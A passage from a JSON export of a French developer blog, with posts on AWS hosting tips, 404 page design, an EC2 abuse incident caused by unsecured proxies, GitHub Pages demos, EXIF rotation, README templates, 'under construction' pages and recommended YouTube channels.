les gouverner toutes\n\nLorsque vous utilisez l'url (ou l'IP) fournie par EC2 pour votre instance, vous pouvez pensez que vous êtes à l'abris des ennuis en cas de redémarrage de l'instance... et bien pas du tout.\n\nSi votre instance crash pour une raison quelconque, elle sera relancée oui, mais sous une IP (et donc une url) différente, générée par AWS. \n \nLa solution (gratuite) est donc d'assigner une IP fixe (disponible dans le menu EC2) à votre instance après avoir fini de la configurer. Ainsi, plus de problème d'instance inaccessible après un redémarrage intempestif !\n\n## #4 - Le bucket ou l'url, telle est la question\n\nL'une de mes fonctionnalité préférée sur AWS est l'hébergement de site statique grâce à AWS S3 + Cloudfront.\n\nSeulement, il arrive parfois que le site hébergé soit parfaitement accessible lors de la première visite, mais que vous tombiez sur une erreur de votre bucket (indiquant que la ressource n'existe pas) lorsque vous raffraichissez la page. \n \nLa solution est très simple, il suffit de ne PAS relier votre bucket à votre origine Cloudfront en cliquant sur le nom du bucket dans la liste déroulante, mais bel et bien de copier-coller l'url fournie par S3 lors de l'activation de l'hébergement statique sur le bucket.","Au fil des années, et à force de tomber sur de nouvelles problématique lors de l'hébergement de mes projets, j'ai pris pour habitude de noter les astuces qui m'ont parfois sauvé la vie (en tout cas de nombreuses heures), et j'ai aujourd'hui décidé de vous les partager.","les-5-astuces-aws-que-jaurais-aime-connaitre-plus-tot","2020-06-02T15:40:55.000Z","2023-09-22T13:36:40.644Z","2020-06-04T06:18:06.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/jamie-street-_94HLr_QXo8-unsplash.jpg","Jamie Street sur Unsplash","https://unsplash.com/@jamie452?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":185,"title":186,"content":187,"socialTitle":8,"description":188,"socialDescription":8,"slug":189,"createdAt":190,"updatedAt":191,"publishedAt":192,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":193,"coverCopyright":194,"coverCopyrightLink":195},31,"Les 3 étapes pour faire une bonne page 404","La page 404 est devenue un objet de la culture populaire, et a dépassé sa première utilité, celle d'**indiquer que la page demandée n'existe pas**.\n\nC'est avant tout un élément important d'un site, souvent trop négligé et parfois même mis aux oubliettes, pourtant cette page est indispensable **pour la bonne expérience utilisateur d'un visiteur, et ça quelques sites l'on très bien compris et tourné à leur avantage.**\n\nAujourd'hui on en trouve de tous les genres, allant du texte noir sur fond blanc jusqu'à de vrais mini-jeux, **mais à quel point cette page est-elle importante et que doit contenir une bonne page 404** ?\n\n> C'est ce à quoi nous allons répondre dans cet article !\n\n## Pourquoi la personnaliser ?\n\nIl ne faut pas penser que l'erreur 404 est quelque chose **que l'on peut éviter** en tant que développeur. N'importe quelle personne voulant **partager une page spécifique de votre site peut se tromper dans l’URL**, générant alors une frustration pour le visiteur.\n\nEn effet, si vous ne configurez pas de page personnalisée, **votre hébergeur s'en chargera pour vous** et le plus souvent l'utilisateur arrivera simplement sur un message du genre \"404 Not Found\" au milieu de nul part, **sans même avoir le temps de découvrir votre identité graphique**.\n\nMême si vous savez ce que signifie cette page, **ce n'est pas le cas de tout le monde**, et si c'est une page par défaut, **la confiance en votre site va fortement diminuer** pour le visiteur.\n\n## Qu'est-ce qu'une bonne page 404 ?\n\nIl existe trois règles simples afin de contourner tous ces problèmes, les voici :\n\n### 1 - Expliquer, rassurer\n\nIl n'y a pas besoin d'expliquer pendant trois heures pourquoi la page est introuvable, mais il ne faut surtout pas limiter le message à : \"Erreur 404\".\n\n> Vulgarisez, dédramatisez, soyez pédagogue !\n\nPrivilégiez une phrase **simple et positive** que le visiteur lira forcément comme : \"Oups, la page à laquelle vous tentez d'accéder n'existe pas, mais on en a **pleins d'autres bien plus intéressantes !**\"\n\n### 2 - Captiver l'attention\n\nMême si le visiteur comprend ce qui lui arrive et qu'il a lu votre texte, **il a de grandes chances de fermer l'onglet** la seconde d'après.\n\nC'est pour ça que vous avez besoin d'avoir **un élément qui attire l'attention afin de le retenir**, un élément différenciant votre sites des autres, pour **lui donner le temps (et l'envie) de regarder l'intégralité de votre page**, de votre menu, etc...\n\nUne image drôle, **une jolie animation**, un mini-jeu, tout est bon pour ne pas perdre le lecteur et **pouvoir le rediriger correctement**, mais attention, il faut que le contenu **reste en accord avec la ligne éditoriale ET la charte graphique** du site !\n\n### 3 - Rediriger\n\nC'est le nerf de la guerre, une fois que votre visiteur a compris où il était, **qu'il n'a pas perdu confiance en votre site** et que vous avez réussi à le retenir, il faut l'inciter à **revenir dans le droit chemin**.\n\nPour cela il vous suffit d'**un bouton bien visible vers l'accueil de votre site par exemple**, et si vous possédez un site e-commerce, ça peut être le moment de le rediriger vers le produit le plus vendu de votre site. (**Et pourquoi pas une petite réduction en prime ?**)\n\n## Quelques exemples\n\nCommençons d'abord par ce qu'il ne faut pas faire (laisser la page par défaut de votre serveur web) :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2022/03/404-1.png)\n\nAlors voici quelques exemples de page 404 efficaces qui respectent toutes les règles que je viens de vous énoncer:\n\nL'une de mes pages 404 préférée est [celle de l'application Slack](https://slack.com/404) : **le visiteur arrive dans un environnement apaisant (qui donne confiance et déculpabilise)** dans lequel il peut se déplacer à l'horizontal et interagir avec l'environnement. Cette page est à cheval entre la belle animation et le mini-jeu !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/Capture-d--cran---2020-06-05---08.40.46.png)\n\nÉgalement [une page très simpliste](https://www.lego.com/fr-fr/404) mais aussi très efficace, tout y est, même une référence bien connue de l'univers du film légo, et le call-to-action typique des sites e-commerces. Clair, net précis !\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/Capture-d--cran---2020-06-05---08.43.14.png)\n\nEt pour finir je vous partage celle que j'ai mise en ligne pour [mon site personnel](https://nicolas.brondin-bernard.com/404) !\n\n> La bombe est animée par une vibration qui la rend plus vivante que sur l'image.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/Capture-d--cran---2020-06-05---08.45.56.png)\n\n","Cette célèbre page a dépassé le monde du développement pour devenir un objet de société, presque populaire, même devenu marketing !","comme-faire-une-bonne-page-404","2020-06-05T06:27:39.000Z","2023-09-19T15:05:35.068Z","2020-06-05T07:16:19.000Z","https://cellar-c2.services.clever-cloud.com/content/2022/03/nicholas-bartos-fms2_-YKamM-unsplash.jpg","Nicholas Bartos sur Unsplash","https://unsplash.com/@nickbartos?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":197,"title":198,"content":199,"socialTitle":8,"description":200,"socialDescription":8,"slug":201,"createdAt":202,"updatedAt":203,"publishedAt":204,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":205,"coverCopyright":206,"coverCopyrightLink":207},33,"Le jour où Amazon m'a mis la pression...","> Nous sommes le Lundi 12 Aout 2019, il est 8h00.\n\nComme tous les lundis, je commence à trier les éventuels e-mails pro que j'aurais pu recevoir pendant le week-end et parmi les quelques titres sans grand intérêt, trois mots me sautent aux yeux : Amazon. EC2. Abuse.\n\n## Amazon EC2 Abuse\n\nMon sang ne fait alors qu'un tour et je saute sur l'email pour l'ouvrir, car même si je ne sais pas encore de quoi il s'agit, **ma plus grande crainte est que mon compte AWS puisse être fermé définitivement !**\n\nVoilà la copie des premières lignes de l’e-mail :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/carbon-12-.png)\n\nMais surprise ! Il n'était pas arrivé tout seul, car **j'avais reçu le premier email le Samedi** et comme je ne l'avais pas vu, j'ai reçu celui-ci le lendemain :\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/carbon-13-.png)\n\nCes deux emails m'informaient donc qu'**une des instances EC2 que j'ai monté a été utilisée pour tenter de pénétrer dans des sites à de multiples reprises**, notamment par [des attaques par force brute.](https://fr.wikipedia.org/wiki/Attaque_par_force_brute)\n\nMême si le contenu des emails laisse comprendre qu'au pire les instances concernées seront simplement stoppées si je ne trouve pas de solution, **je suis toujours sous pression, ça reste Amazon.**\n\n> Il faut dire que le terme \"abuse\" me fait froid dans le dos...\n\n## L'explication\n\nA cette époque-là, je diffuse en live tous les jours sur Twitch le développement de mon projet Kalico, un assistant personnel pour le shopping high-tech. Tous les matins, deux heures par jour, je développe de nouvelles fonctionnalités, je corrige des bugs, etc...\n\nMais cette semaine-là, **je travaille sur un crawler censé récupérer les prix des produits directement sur Amazon** et plus précisément sur la mise en place de trois proxies afin de pouvoir **accéder aux différents prix selon la localisation géographique** (France, US et UK).\n\nC'est notamment pour cette raison que l'email m'a mis la pression, car **je pensais qu'Amazon venait de détecter mon crawler** et qu'au lieu de simplement le bloquer, ils voulaient couper mon compte AWS.\n\n_Alors qu'en faite..._\n\nDans la précipitation et après avoir monté les trois instances des proxies le vendredi matin, **je n'ai pas pris le temps d'autoriser les accès uniquement à mon application**. Erreur grossière, et c'était bien sûr sans compter tous **les bots du net qui parcourent sans relâche les instances EC2 ouvertes** afin de les exploiter à des fins malveillantes.\n\n_J'ai finalement coupé les instances le jour même afin de sécuriser les proxies pour les remonter dans la foulée, et depuis je n'ai plus jamais eu de problème avec Amazon !_\n\n> Ouf !","Comme tous les lundis, je commence à trier les éventuels e-mails pro que j'aurais pu recevoir pendant le week-end et parmi les quelques titres sans grand intérêt, trois mots me sautent aux yeux : Amazon. EC2. Abuse.","le-jour-ou-amazon-ma-mis-la-pression","2020-06-09T06:49:01.000Z","2023-09-22T13:35:11.370Z","2020-06-09T12:12:04.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/bryan-angelo-FtiXADBTqGY-unsplash.jpg","Bryan Angelo sur Unsplash","https://unsplash.com/@bryanangelo?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":209,"title":210,"content":211,"socialTitle":8,"description":212,"socialDescription":8,"slug":213,"createdAt":214,"updatedAt":215,"publishedAt":216,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":217,"coverCopyright":218,"coverCopyrightLink":219},34,"Comment héberger gratuitement la démo d'un projet sur Github","Depuis le début de mes sessions de coaching pour aider les développeurs  web juniors à décrocher leur premier job, j'ai parcouru un certains nombre de profils Github.\n\nSi l'on met de côté la différence évidente de complexité des projets présentés, j'ai remarqué deux différences majeures qui jouent beaucoup sur la perception d'un profil :\n\n* La qualité de rédaction des fichiers README.md\n* L'absence de lien de démo pour tester le projet en ligne (quand c'est possible)\n\nJe ne vais pas parler du readme ici car cela [fait l'objet d'un autre article sur le blog](https://code-garage.fr/un-template-de-readme-basique-pour-vos-projets-sur-github/), mais je vais vous expliquer comment héberger facilement la démo (ou la documentation) d'un projet sur Github.\n\n## Comment faire\n\n> Je  précise que seuls les fichiers statiques sont hébergés par github.io, n'envisagez pas d'héberger un site en php ou en java dessus !\n\n### Préparer son projet\n\n**La première étape est de commit une version de build de votre projet** dans le repository. On va par exemple décider d'ajouter le dossier \"dist\", tout en pensant à rebuild le projet avant de pousser une nouvelle version.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/carbon-14-.png)\n\nExemple d'organisation d'un projet contenant une démo\n\nUne fois qu'une version statique de votre projet est disponible dans un des dossiers du repo (ou à la racine pour les projets web les plus simples), nous allons configurer le repo github.\n\n### Configurer le répo Github\n\nPour activer l'hébergement, il vous suffit d'ouvrir la page Github de votre projet, de **cliquer sur l'onglet \"Settings\" en haut à droite.**\n\nUne fois les options affichées, scrollez jusqu'à l'encart \"Github Pages\" comme sur le screenshot ci-dessous.\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/Sans-titre-5-1.png)\n\n**Normalement la source sera par défaut sur \"None\", il vous suffit de sélectionner \"master branch\" et votre repo Github sera hébergé sur github.io !**\n\n### Tester\n\n**Il ne vous reste plus qu'à cliquer sur le lien** apparu directement sur l'encart comme ci-dessus, et vous pourrez visualiser votre projet.\n\n**A noter que si vous avez décidé de mettre la version statique de votre projet dans un sous-dossier, il faudra rajouter le nom du dossier à l'url fournie.** Pour mon exemple, la version hébergée du projet se trouve sous l'url : [https://nicolasbrondin.github.io/cookie-consent/test/](https://nicolasbrondin.github.io/cookie-consent/test/)\n\n> Et voilà, c'est terminé !\n\n_Pensez à ajouter une démo de votre projet sur github.io dès que c'est possible (et si le code n'est pas hébergé ailleurs), c'est un vrai plus pour les développeurs curieux qui veulent voir à quoi ressemble le projet et pouvoir jouer avec !_\n\n### En bonus\n\nGithub offre même la possibilité de lier un nom de domaine personnalisé à l'hébergement, comme expliqué dans leur documentation en lien ci-dessous : \n \n[https://help.github.com/en/github/working-with-github-pages/configuring-a-custom-domain-for-your-github-pages-site](https://help.github.com/en/github/working-with-github-pages/configuring-a-custom-domain-for-your-github-pages-site)\n\n::: bookmark\n[![](N/A)Configuring a custom domain for your GitHub Pages site - GitHub Help](https://help.github.com/en/github/working-with-github-pages/configuring-a-custom-domain-for-your-github-pages-site)\n:::","La plupart des projets hébergés sur Github par des développeurs juniors n'ont aucune démo testable. Aujourd'hui, on va remédier à ça !","comment-heberger-gratuitement-la-demo-dun-projet-sur-github","2020-06-10T11:07:22.000Z","2023-09-22T13:35:28.202Z","2020-06-10T12:04:01.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/luke-chesser-LG8ToawE8WQ-unsplash.jpg","Luke Chesser sur Unsplash","https://unsplash.com/@lukechesser?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":5,"title":6,"content":7,"socialTitle":8,"description":9,"socialDescription":8,"slug":10,"createdAt":11,"updatedAt":12,"publishedAt":13,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":14,"coverCopyright":15,"coverCopyrightLink":16},{"id":222,"title":223,"content":224,"socialTitle":8,"description":225,"socialDescription":8,"slug":226,"createdAt":227,"updatedAt":228,"publishedAt":229,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":230,"coverCopyright":231,"coverCopyrightLink":232},36,"Gérer la rotation des images lors d’un upload sur un site web grâce aux EXIF","Il est tellement commun d’avoir une fonctionnalité de personnalisation du profil dans une application web que l’on ne réfléchit souvent même plus à son utilité.\n\nMais si vous faites partie de ceux qui ont décidé d’ajouter un profil, il y a de grandes chances que vous ayez aussi opté pour l'ajout d'une photo de profil ! Sauf que surprise : **la moitié de vos premiers utilisateurs commence à uploader une photo de travers !**\n\n![](https://cellar-c2.services.clever-cloud.com/content/2020/06/Sans-titre-7.png)\n\n## L’explication\n\nLorsque vous prenez une photo avec un smartphone (et certains autres appareils), **peu importe l’orientation de l’appareil, le fichier de stockage de l’image sera toujours dans le même sens.**\n\n> Alors comment fait le smartphone pour l’afficher dans le bon sens dans la gallerie ?\n\nChaque nouvelle photo est accompagnée d’un certains nombre de métadonnées, **appelées les données « EXIF » pour « EXchangeable Image Format »**.\n\nLes données EXIF contiennent de très nombreuses informations comme :\n\n* La marque de l’appareil\n* La résolution\n* Le status du flash\n* La géocolocalisation\n* **Et... l’orientation** !\n\nVous l’aurez compris, **le smartphone affiche l’image selon la rotation inscrite dans les métadonnées EXIF**, c’est donc ce que nous allons faire aussi !\n\n## La solution\n\nPour récupérer ces données, on peut par exemple utiliser la librairie Javascript [https://github.com/exif-js/exif-js](https://github.com/exif-js/exif-js) qui va nous mettre à disposition l’ensemble des métadonnées pour une image en entrée (élément image, File/Blob).\n\n::: bookmark\n[![](https://avatars3.githubusercontent.com/u/12643516?s=400&v=4)exif-js/exif-js](https://github.com/exif-js/exif-js)\n:::\n\nL'orientation est représenté par un entier compris entre 1 et 8 indiquant la valeur de la rotation (dans le sens horaire)  et une possible symétrie horizontale. Voici la correspondance précise :\n\n* 1 => Pas de rotation (0°)\n* 2 => Pas de rotatio (0°) + Symétrie horizontale\n* 3 => Rotation 180°\n* 4 => Rotation 180° + Symétrie horizontale\n* 5 => Rotation 270° + Symétrie horizontale\n* 6 => Rotation 270°\n* 7 => Rotation 90° + Symétrie horizontale\n* 8 => Rotation 90°\n\n> Oui je sais, l'ordonnancement des valeurs n'est pas très logique, mais ce n'est pas moi qui décide !\n\n**Une fois la valeur récupérée grâce à exif-js, il ne reste plus qu'à retourner la photo en utilisant un canvas, ou une librairie de traitement d'image côté back-end.**\n\nVoici un exemple de code pour gérer la rotation ([https://codepen.io/nicolasbrondin/pen/MWKjgOp](https://codepen.io/nicolasbrondin/pen/MWKjgOp)) ainsi qu'un jeu d'images de test contenant différentes valeurs d'orientation ([https://github.com/recurser/exif-orientation-examples](https://github.com/recurser/exif-orientation-examples)) !\n\n> ","Comment éviter à vos utilisateurs de se retrouver avec une image de profil de travers lorsqu'ils envoient une photo prise au smartphone !","gerer-la-rotation-des-images-lors-dun-upload-sur-un-site-web-grace-aux-exif","2020-06-15T09:00:29.000Z","2023-09-19T15:05:35.239Z","2020-06-15T10:10:06.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/dan-gold-Itjeqpuzh94-unsplash.jpg","Dan Gold sur Unsplash","https://unsplash.com/@danielcgold?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":234,"title":235,"content":236,"socialTitle":8,"description":237,"socialDescription":8,"slug":238,"createdAt":239,"updatedAt":240,"publishedAt":241,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":242,"coverCopyright":243,"coverCopyrightLink":244},37,"Un template de readme basique pour vos projets sur Github","Il y a un adage qui dit :\n\n> \"Un dépôt **Github** sans **README** c'est comme un **couple** sans **amour**...\"\n\nBon d'accord, il n'y a aucun adage qui ne dit ça, mais comme **je tombe sur un nombre incalculable de répos sans description, sans instruction, sans screenshot ni démo**, j'ai décidé de vous mettre à disposition un template compatible avec la plupart de vos projets, même ceux en cours de développement (lien disponible à la fin de l'article).\n\n## Pourquoi faut-il un fichier readme ?\n\n**On pense parfois qu'un projet en cours de développement n'a pas besoin de readme**, parce qu'après tout, personne ne va vouloir l'utiliser tant qu'il n'est pas un minimum abouti.\n\nEt même si c'est vrai en théorie, la page d'un projet peut être visitée pour de nombreuses raisons parmi lesquelles :\n\n* Se tenir au courant **des avancées du projet**\n* Rechercher un projet similaire au sien afin d'économiser des efforts et **s'en inspirer**\n* Evaluer **la propreté du code**\n* En savoir plus sur la manière dont un développeur effectue **sa gestion de projet**\n\n**Toutes ces raisons font que votre projet mérite d'avoir une belle page d'accueil**, même sans que ce soit un projet abouti, et ce **surtout si vous êtes un développeur junior en recherche d'emploi** !\n\nSi je veux en apprendre plus sur les compétences d'un développeur, **comment puis-je évaluer le code d'un projet si je ne sais même pas ce qu'est censé faire le-dit projet ?**\n\n> La réponse est simple : C'est impossible.\n\nDe plus, un fichier readme est justement l'endroit parfait pour **expliquer qu'un projet est en cours de développement** et que le code n'est peut-être pas encore parfaitement propre, qu'il contient **encore des logs résiduelles** et des méthodes de débuggage **qui seront supprimés plus tard** !\n\n## Le template\n\nQuoi de mieux pour héberger un readme pour vos projet Github que... Github bien évidemment ! **Le template contient tous les commentaires nécessaires pour faciliter la réutilisation, alors plus d'excuses pour ne plus en ajouter à vos projets, même les plus simples !**\n\nLien vers le projet Github : [https://github.com/NicolasBrondin/basic-readme-template](https://github.com/NicolasBrondin/basic-readme-template)\n\n::: bookmark\n[![](https://avatars2.githubusercontent.com/u/6644095?s=400&v=4)NicolasBrondin/basic-readme-template](https://github.com/NicolasBrondin/basic-readme-template)\n:::\n\nEn bonus : Si vous ne l'avez pas encore lu, je vous conseille d'aller voir mon article publié précédemment sur mon blog intitulé [\"Comment héberger gratuitement une démo sur GitHub\"](https://code-garage.fr/comment-heberger-gratuitement-la-demo-dun-projet-sur-github/).\n\n","Comme je tombe sur un nombre incalculable de répos sans description, sans instruction, sans screenshot ni démo, j'ai décidé de vous mettre à disposition un template compatible avec la plupart de vos projets !","un-template-de-readme-basique-pour-vos-projets-sur-github","2020-06-15T14:18:58.000Z","2023-09-19T15:05:35.266Z","2020-06-15T15:11:01.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/jo-szczepanska-9OKGEVJiTKk-unsplash.jpg","Jo Szczepanska sur Unsplash","https://unsplash.com/@joszczepanska?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":246,"title":247,"content":248,"socialTitle":8,"description":8,"socialDescription":8,"slug":249,"createdAt":250,"updatedAt":251,"publishedAt":252,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":253,"coverCopyright":254,"coverCopyrightLink":255},39,"Les 5 avantages d'une page \"en construction\" pour votre futur site web","Lorsqu'on lance un nouveau projet, certaines étapes de la création peuvent être très rapides, comme la création des comptes sur les réseaux sociaux par exemple. À contrario, **la phase de développement peut parfois prendre quelques semaines, jusqu'à plusieurs mois** pour les plus grosses applications.\n\nCertaines entreprises réservent le nom de domaine au tout début du projet, tandis que **d'autres le réservent deux jours avant le lancement**.\n\nCe que je recommande à tous les clients, c'est de **réserver le nom de domaine le plus tôt possible**, pour bénéficier au maximum de **l'antériorité du domaine** (ce qui favorise le SEO), mais de ne pas le laisser vide.\n\n**La création d'une page \"en construction\" possède de nombreux avantages** que je vais vous expliquer dans cet article.\n\n> Pour vous faire gagner un maximum de temps, je travaille en parallèle sur un template simple mais complet que je vous mettrai à disposition dès qu'il sera terminé !\n\n## Les avantages\n\n### 1 - L'expérience utilisateur et le branding\n\nTout comme pour **[mon article sur les avantages d'une bonne page 404](https://code-garage.fr/blog/comme-faire-une-bonne-page-404/)**, vous n'avez pas envie que vos utilisateurs tombent sur la page \"en construction\" par défaut de votre hébergeur.\n\nAu mieux, il se dira que vous n'avez pas encore de site en ligne, au pire il pensera s'être trompé, essaiera plusieurs urls différentes **jusqu'à abandonner et garder un souvenir amer** de votre entreprise (même inconsciemment).\n\nUne page \"en construction\" c'est d'abord **l'occasion de faire rentrer le visiteur dans votre branding**, lui afficher votre logo, vos couleurs, et lui montrer que votre entreprise pense à tout, jusque dans les moindres détails.\n\nVous pouvez même provoquer chez lui un sentiment de \"**j'étais là en premier**\" en lui donnant une petite info que seules les personnes ayant visité cette page connaitront !\n\n### 2 - Informer le visiteur\n\nPlutôt que de laisser l'utilisateur sur sa faim, sans la moindre idée de la date de lancement du site, une option sympa est d'**ajouter un compteur affichant le temps restant** (approximatif).\n\nCela va à la fois **rassurer les utilisateurs**, et peut-être leur donner envie de revenir une fois le site en ligne !\n\n### 3 - Retenir de futurs utilisateurs\n\nCe serait dommage de tout faire pour éviter la frustration des visiteurs sans arriver à véritablement accrocher les plus intéressés.\n\nPour cela, **votre page doit absolument expliquer votre concept**, en quelques mots, c'est ce que l'on appelle une \"catchphrase\".\n\nEt si vous avez réussi à captiver l'attention de votre utilisateur, **il ne vous reste plus qu'à ajouter un bouton \"Ça m'intéresse !\" et d'ouvrir un formulaire d'inscription à votre newsletter** pour tenir au courant le nouvel abonné de la sortie du site (et plus si affinités) !\n\n### 4 - Le référencement\n\nSi votre projet intéresse, il se peut que vous arriviez à convaincre d'autres sites et blogs à parler de votre projet, et surtout **d'ajouter un lien vers votre site à venir**.\n\nVous pouvez commencer à construire votre référencement avant même d'avoir terminé votre site grâce à une page \"en construction\", **ce que vous ne pourriez pas faire autrement** !\n\n### 5- La page de maintenance\n\nIl y a de grandes chances pour que quelques mois après sa sortie votre site ait besoin d'une grosse mise à jour.\n\nParfois, ces mises à jour peuvent prendre jusqu'à plusieurs heures avant d'être complètement disponibles partout dans le monde, et **il serait dommage qu'un utilisateur arrive à ce moment-là et soit déçu**.\n\nL'idéal est de mettre en place **une page très simple de maintenance, avec la date de retour à la normale** pour expliquer que le site est en train d'être mis à jour.\n\nEt rien de tel pour gagner du temps que de **simplement modifier les textes de votre page \"en construction\" pour la réutiliser** dans un contexte de maintenance !\n\n## En résumé\n\nVotre page doit être très simple, suivre votre identité graphique et comprendre :\n\n* Votre logo\n* Une explication (dire que le site arrive bientôt)\n* Une phrase d'accroche\n* Un compteur\n* Un appel à l'action (vers votre newsletter)\n\n**Félicitation, vous venez de créer de l'attraction autour de votre futur site, en quelques lignes de code seulement !**\n\n","les-5-avantages-dune-page-en-construction-pour-votre-futur-site","2020-06-18T07:16:45.000Z","2023-09-19T15:05:35.326Z","2020-06-18T14:46:50.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/06/imattsmart-sm0Bkoj5bnA-unsplash.jpg","iMattSmart sur Unsplash","https://unsplash.com/@imattsmart?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":257,"title":258,"content":259,"socialTitle":8,"description":260,"socialDescription":8,"slug":261,"createdAt":262,"updatedAt":263,"publishedAt":264,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":265,"coverCopyright":266,"coverCopyrightLink":267},41,"Top 10 des vulgarisateurs pour élargir ses connaissances en vidéo","> Article publié le 22 Juin 2020, mis à jour le 10 Novembre 2020\n\nDepuis que je suis développeur web en indépendant, le nombre de missions où l'on m'a sollicité pour être purement et simplement développeur peuvent se compter sur les doigts d'une main.\n\nCertains clients viennent directement me voir avec une idée (ou un problème), et mon rôle est de **les accompagner sur toutes les étapes jusqu'à la mise en place de la solution**. Et j'aime ça !\n\n**J'ai toujours cultivé cette pluridisciplinarité** car c'est un des moteurs de ma personnalité et aujourd'hui, **je vais vous partager l'un de mes secrets pour élargir mes connaissances** dans des domaines qui gravitent (de près ou de loin) **autour du développement web**.\n\n## Mon secret c'est... Youtube\n\nCertains connaissent Youtube sous le prisme de ses vidéos tendances plus ou moins douteuse et autres concepts tout aussi abrutissant, mais pour ma part je l'associe à **une formidable plateforme de contenu de vulgarisation technique et scientifique** !\n\n> Évidemment, regarder des vidéos Youtube ne suffit pas pour connaitre un sujet, mais c'est une porte d'entrée ludique qui vous permettra d'approfondir ensuite.\n\nAujourd'hui je vais vous donner une liste de créateur qui m'ont appris énormément de choses, mais qui m'ont aussi appris à **être encore plus curieux et à m'intéresser à tous les sujets possibles**, et c'est en partie ce qui fait la richesse de mon travail aujourd'hui !\n\n### Apprendre la communication avec : Un créatif\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/tU53voKfaYI?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\n**Il y a des millions de ressources disponibles en ligne pour apprendre le marketing** et la communication, mais aucune de ses ressources ne sont faites pour vous faire **AIMER** la communication.\n\nDésabusé par les réalités (et souvent l'immoralité) du métier de communicant qu'il a quitté, **Un Créatif nous partage les ficelles et l'histoire du monde du marketing** avec un regard à la fois passionné et très critique !\n\n### Apprendre le game design avec : Doc Géraud\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/videoseries?list=PLzo4JTa078H1AKkJT9Y4zySpxHhjFiPN_\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nAvec son émission \"Game anatomy\" qu'il anime depuis plus de 5 ans, Géraud décortique **les mécaniques de gameplay et les analyses pour nous donner une vision éclairée** de l'univers du jeux vidéo en tant que **concepteur et designeur de jeux**.\n\n### Découvrir des histoires de vie avec : La chaine de P.A.U.L\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/5EkLCBWPnGY?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nJe suis sûr que vous avez déjà ressenti l'envie d'être une petite souris, cachée dans une pièce afin de pouvoir **jeter votre regard sur un moment de l'histoire qui a changé notre culture** à tout jamais.\n\nC'est exactement la sensation que procure chacune des **biographies vidéos qui mettent en valeur (ou l'inverse) des personnalités connues pour leurs exploits** comme cette vidéo sur le concepteur de la Game Boy de chez Nintendo : **un vrai documentaire sur l'histoire du jeu vidéo**.\n\n### Apprendre à vulgariser l'informatique avec : Micode\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/gbYdQOde6EU?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nLe développement et la sécurité informatique sont des sujets qui sont parfois **très compliqués à vulgariser**, et c'est pourtant ce qu'arrive à faire Micode avec brio.\n\nSi vous êtes déjà développeur/euse, vous n'apprendrez sûrement pas grand chose sur la technique dans ses vidéos, mais **en écoutant attentivement vous apprendrez vous-même à vulgariser des sujets techniques** aussi bien que Mickaël !\n\n### Percer les secrets qui cachent derrière nos objets électroniques avec : Deus Ex Silicium\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/iJ8EVFe-0GE?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\n**Depuis 2014, Stéphane Marty nous emmène dans les entrailles des objets électroniques, puces, circuits intégrés** et nous explique la raison de la présence de la majorités des composants dans nos objets de tous les jours.\n\nSans être des cours d'électronique à proprement parlé, **il arrive à nous captiver et à vulgariser des concepts complexes**, le tout en décortiquant au microscope chaque recoin des systèmes qu'il analyse.\n\nVous découvrirez peut-être qu'à bien des égards, **l'électronique n'a rien à envier aux arts classiques** sous bien des aspects.\n\n### Découvrir les coulisses de phénomènes de société avec : Sylvqin\n\n\u003Ciframe width=\"480\" height=\"270\" src=\"https://www.youtube.com/embed/LMIloiieK3I?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen=\"\">\u003C/iframe>\n\nImaginez un monde où quelqu'un prendrait le temps de mener de longues recherches pendant plusieurs semaines sur un phénomène de société afin de le condenser en quelques dizaines de minutes de vidéo... **On 